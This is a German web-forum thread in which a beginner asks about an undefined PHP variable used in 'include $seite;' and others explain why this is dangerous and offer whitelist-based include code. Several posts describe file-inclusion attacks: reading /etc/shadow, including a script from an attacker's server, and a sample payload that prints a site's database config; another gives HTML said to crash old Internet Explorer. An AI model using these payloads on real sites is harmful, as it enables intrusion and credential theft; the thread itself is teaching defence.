| (Web-) Design und webbasierte Sprachen Tipps & Tricks, Designabgleich, HTML & Javascript, Flash, ASP, PHP, Perl/CGI... |
Diskussion: nicht difinierte Variabel im Forum (Web-) Design und webbasierte Sprachen, in der Kategorie Web, Network & Multimedia Palace; Anzeige Moin Moin Ich habe folgendes Problem ich lasse meinen Inhalt der HP so anzeigen include $seite; ist $seite jetzt ...
![]() |
| | #1 (permalink) |
| Guest Likes: | nicht difinierte Variabel Anzeige Moin Moin Ich habe folgendes Problem ich lasse meinen Inhalt der HP so anzeigen include $seite; ist $seite jetzt nicht gegeben kommt immer ne Fehlermeldung wie kann ich eine nicht Deklarierte(schreibt man das so?) Variabel auf irgend einen Wert setzen? ich habs so versucht if($seite=="") { $seite="inhalt.php" } Fehlermeldung Notice: Undefined variable: seite in /www/htdocs/w005aa58/freak/index.php on line 32 Warning: main(): Failed opening '' for inclusion (include_path='.:/usr/share/php:..') in /www/htdocs/w005aa58/freak/index.php on line 32 geht aber nicht :( mfg ba2 |
|
| | #2 (permalink) |
| Moderator ![]() Registriert seit: 30.03.04 ![]() Likes: 14 | Hallo, das schlimmst was du machen kannst: include $seite; Jeder der etwas Ahnung von PHP hat, kann innerhalb von Sekunden so deinen gesamten Server lahmlegen. Besser so: Code: <?php
$seiten = array("fehlerseite_falsche_id.php","erste_seite.php","zweite_seite.php"...);
if(isset($_GET['site_id']) AND is_numeric($_GET['site_id']) AND $_GET['site_id'] >= 0 AND $_GET['site_id'] < count($seiten))
$site_id = $_GET['site_id'];
else
$site_id = 0;
include $seiten[$site_id];
?> |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Guest Likes: | da hast du wohl recht, habe ich auch schon ma ausprobiert, bei meinen webserver, da ist aber mein IE abgeschmiert und nicht der Server. |
|
| | #4 (permalink) |
| Senior Member Registriert seit: 28.08.05 ![]() Likes: 0 | a propos ie: kennt ihr schon den bug <input type stirbdummerieoderwasauchimmer> in einer html? bis version 6 crasht dieser zuverlässig |
| | |
| | #5 (permalink) | ||
| Also... als erstes musst du überprüfen, ob die variable überhaupt existiert. Zitat:
Code: echo isset ($a); // false $a = "test"; echo isset ($a); // true unset ($a); echo isset ($a); // false Zitat:
Code: $var = 0;
if (empty ($var)) { #evaluates true
print '$var is either 0 or not at all set';
}
if (!isset ($var)) { // evaluates false
print 'The $var is not set at all';
} Code: if (empty($site)) $site = "index.php"; Quelle: http://manuals.phpforum.de Eine mit Post oder Get übergebene variable zu includen is müll, weil man so jede seite includen kann. je nach anforderung / umfang kannst du folgende muster benutzen: Hier wird für jede datei, die aufgerufen werden kann ein eigener includebefehl geschrieben. So kann man nur seiten includen, die auch in deiner IF-Abfrage definiert sind. Code: if ($site == "help") include("help.php");
elseif ($site == "home) include(index.php");
...
end if Code:
$ar_sites = array("home", "help", ... );
if (in_array ($site, $ar_sites)) include($site.".php");
else do_whatever //halt nen fehler ausgeben Code: $ar_sites = array(
"home" => "home.php",
"help" => "help.php",
... );
if (isset($ar_sites[$site])) include($ar_sites[$site]);
else do_whatever //halt nen fehler ausgeben Eine bitte noch.. nimm nicht einfach den code hier, sondern versuich zu verstehen was er bewirkt. es gibt nix schlimmeres, als ein Programm, das aus leuter Codeschnippseln besteht, von denen man nicht 100% versteht, was sie bewirken. | |||
| | |
| | #6 (permalink) |
| Registriert seit: 13.03.05 ![]() Likes: 0 | Code: <html> <head><title>IE_CRASH</title></head> <body> <form> <input type stirbdummerieoderwasauchimmer> </form> </body> </html> @Elderan: Wie sollte man einen Server lahmlegen, nur weil man das Inkludieren jeder x-beliebigen Datei zulässt? Man könnte sich vllt. ein paar Textdateien aus übergeorndeten Verzeichnissen angucken aber mehr doch auch nicht - dachte ich jedenfalls. MfG, BattleMaker |
| | |
| | #7 (permalink) |
| naja, der Server wist du damit i.d.R. nicht lahmlegen können, aber wenn du jede beliebige datei includen kannst, kannst du z.B. auch die site sich selbst includen lassen. was dazu führen kann(!!!), dass eine endlosschleife entsteht. Oder stell dir folgendes szenario vor.. Jemand hat auf seiner seite einen uploadbereich. dort kann ich nun ein php script hochzladen und es über den include-befehl einbinden. So lässt sich jeder beliebige code ausführen. | |
| | |
| | #8 (permalink) | ||
| Registriert seit: 13.03.05 ![]() Likes: 0 | Ah danke... Zitat:
![]() Was mich nur verwundert hat, war Elderan's Äußerung: Zitat:
![]() MfG, BattleMaker | ||
| | |
| | #9 (permalink) |
| Naja.. inkompetente Leute gibts doch an allen ecken zund enden. vielleicht gehör ich ja auch dazu. Das ist das Prinzip des Jeans-Managements: An jeder wichtigen Stelle eine Niete! aber ich mein, vielleicht weiß er was, das wir nicht wissen. Mal sehen vielleicht erfahren wir nochwas. | |
| | |
| | #10 (permalink) |
| Moderator ![]() Registriert seit: 30.03.04 ![]() Likes: 14 | Hallo, Server lahmlegen: -------------------------------------------------------------------------------- include($seite); $seite = "/etc/shadow"; => include("/etc/shadow"); Liefert bei manchen Servern die Passwortdatei $seite = "http://meineurl.de/script.txt"; =>include("http://meineurl.de/script.txt"); Includet einen beliebigen Script von meinem Server. Da der Text aber __nicht___ als Text geladen wird, werden ggf. enthaltenen PHP Code ausgeführt wird, so kann ich so beliebigen PHP Code ausführen. Kannst es ja Test. locahost: <?php include("http://meinserver.de/script.txt"); ?> Und dann auf deinen Server script.txt hochladen, die <?php //Code ?> enthält. Also ein Angreifer kann in Sekunden schnelle, _deinen_ Webserver beliebigen PHP Code unterjublen. Als Folge könnte ich so z.B. die Datei mit den Zugangsdaten der DB auslesen: script.txt: Code: <?php
echo htmlentities(get_file_contents("config.inc.php")); //Stellt den Inhalt der config.inc.php lesbar dar
?> Desweiteren könnte ich alle Dateien auf deinem Account bearbeiten, manipulieren, löschen, oder einfach illegale Dateien auf deinen Server/Account hochladen. Auch könnte ich diesen dazu benutzen, andere Server anzugreifen. Ich habe dann genau die gleiche 'Macht' wie du, nur dass ein findiger Angreifer besser weiß welche Befehle 'schädlich' sein könnte. Man könnte ja ein Script schreiben, welches deine DB flooded, als Folge könnte die gesamte Datenbank zusammenbrechen, und der Serveradmin würde sich freun. Oder ich veränder deine Index nicht sichtbar, allerdings ist dort jetzt ein Exploit, welchen den User z.B. ein Trojaner unterjubelt. Desweiteren sind extrem viele Server schlecht abgesichert, so dass ein Angreifer über dein Script oft den gesamten Server unter Kontrolle bringen könnte, oder einfach nur Daten ändern/löschen von anderen Accounts (z.B. Shared-Hosting). Die Möglichkeiten sind vielfach. Vorallem wenn du durch solche Attacken reale/finanzelle Schäden bekommst. Stell dir vor, dich verklagt jmd., weil deine Seite Trojaner verteilt, oder du wirst angezeigt, weil auf deinem Server Kinderpornographie ist. Oder jmd. ändert deinen PHP-Script /System so, dass dieser davon ein Vorteil erziehlt. |
| | |
| | #11 (permalink) | |
| Registriert seit: 19.03.05 ![]() Likes: 1 | Zitat:
Datei auf dem Server: PHP-Code: PHP-Code: Wenn man jetzt noch eine Möglichkeit findet die zweite Datei irgendwo auf diesen Server zu laden (z.B. durch schlecht gesichertes Image upload-script, etc.) kann man diesen Log beliebig verändern. (allerdings könnte man dann evtl auch eine Datei aus dem Array ersetzen) (Klingt trotzdem ziemlich Paranoid )Ein weiterer (besserer) Grund darauf zu verzichten: www.WebpageOfBa2.de/test.php?seite=inhalt.php http://www.WebpageOfBa2.de/test.php?...E-Exploit.html Jeder beliebige Content kann deine Seite als Relay benutzen. Von ImageCrashs bis illegal Volksverhetzendem. Alles "auf" deiner Website. | |
| | |
| | #12 (permalink) | ||
| Registriert seit: 13.03.05 ![]() Likes: 0 | Eines erstaunt mich. Ich hielt diese Lücke nämlich bisher für so offensichtlich, dass ich mir gar nicht die Mühe machte, auszuprobieren, ob es funktioniert. Aber nach eurer Erklärung kann man anscheinend per include() Skripte von ganz anderen Servern (obwohl diese Skripte ja ebenfalls SERVER-seitig sind) ausführen. Zitat:
www.RobertNitsch.de/hack.php Wenn ich jetzt einer beliebigen (natürlich nicht geschützten) Seite http://www.xyz_zyx.de/include.php?pa...ch.de/hack.php übergebe, dann wird doch zuerst das Skript hack.php auf MEINEM Server ausgeführt und dann wird die AUSGABE des Skripts in www.xyz_zyx.de/include.php inkludiert (durch include($_GET['inc']);), nicht das Skript selbst, sodass es auf dem Server des Opfers ausgeführt wird. Denn mein Server lässt doch schließlich niemanden an den Source meiner PHP-Dateien ran. Wäre ja noch schöner, wenn ich mir mit diesem Trick den Code von anderen Seiten anschauen könnte. Und mit einem inkludierten JavaScript (was ja wieder möglich ist, denn JS läuft ja CLIENT-seitig ab) kann man keine Datenbanken löschen, höchstens ein paar dumme Menschen ausloggen und auf eine falsche Login-Seite lenken. Deshalb zum besseren Verständnis nochmal ein Zitat (Elderan): Zitat:
MfG, BattleMaker | ||
| | |
| | #13 (permalink) |
| Registriert seit: 05.11.05 ![]() Likes: 0 | Ja, wenn du mit include eine *.txt datei lädst und in dieser php Code steht wird dieser vom Server ausgeführt. Egal wo sie liegt(auf anderem oder dem selben Server). Wenn du eine *.php Datei eines anderen Servers lädst wird die auf dem anderen Server verarbeitet und du bekommst nur den HTML Code welcher zurückgegeben wird. Hoffe das stimmt alles so |
| | |
| | #14 (permalink) |
| Also dass man tatsächlich auch scripte fremder seiten einbinden kann, ist mir auch neu. aber es funktioniert tatsächlich. Was aber nicht funktionieren dürfte, istd ie sache mit "/etc/shadow", aber bei schlecht configurierten system wäre es natürlich theoretisch schon möglich.. sowas darf aber einfach nicht vorkommen. Wieder was dazugelernt. Ach ja, und SO stell ich mir ne Habo-Diskussion vor! | |
| | |
| | #15 (permalink) |
| Guest Likes: | Also ich hab das mal ausprobiert und bei mir funzt es nicht ich habe ne datei angelegt test.txt inhalt---> ---------------------- <?php echo "TEST"; ?> ---------------------- und dan das ganze an der variabel rangehangen http://www.domain1234567890.de?seite...89.de/test.txt und es ging nicht |
|
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| verwendung der nicht zugewiesenen variabel c | Schnauf | Code Kitchen | 8 | 17.10.08 14:47 |
| Computer fährt nicht mehr hoch,Bootet nicht von CD/DVD und lässt nicht in BIOS rein | Desox | Hardware Probleme | 5 | 09.03.07 19:47 |
| variabel prüfen | ba2 | (Web-) Design und webbasierte Sprachen | 1 | 01.07.06 08:09 |
| variabel kürzen | bimbo510 | (Web-) Design und webbasierte Sprachen | 9 | 04.04.06 18:37 |
| Computer bootet nicht mehr, Festplatte kann nicht gefunden werden! | ToXiCity | Die Problemzone | 12 | 14.03.04 13:38 |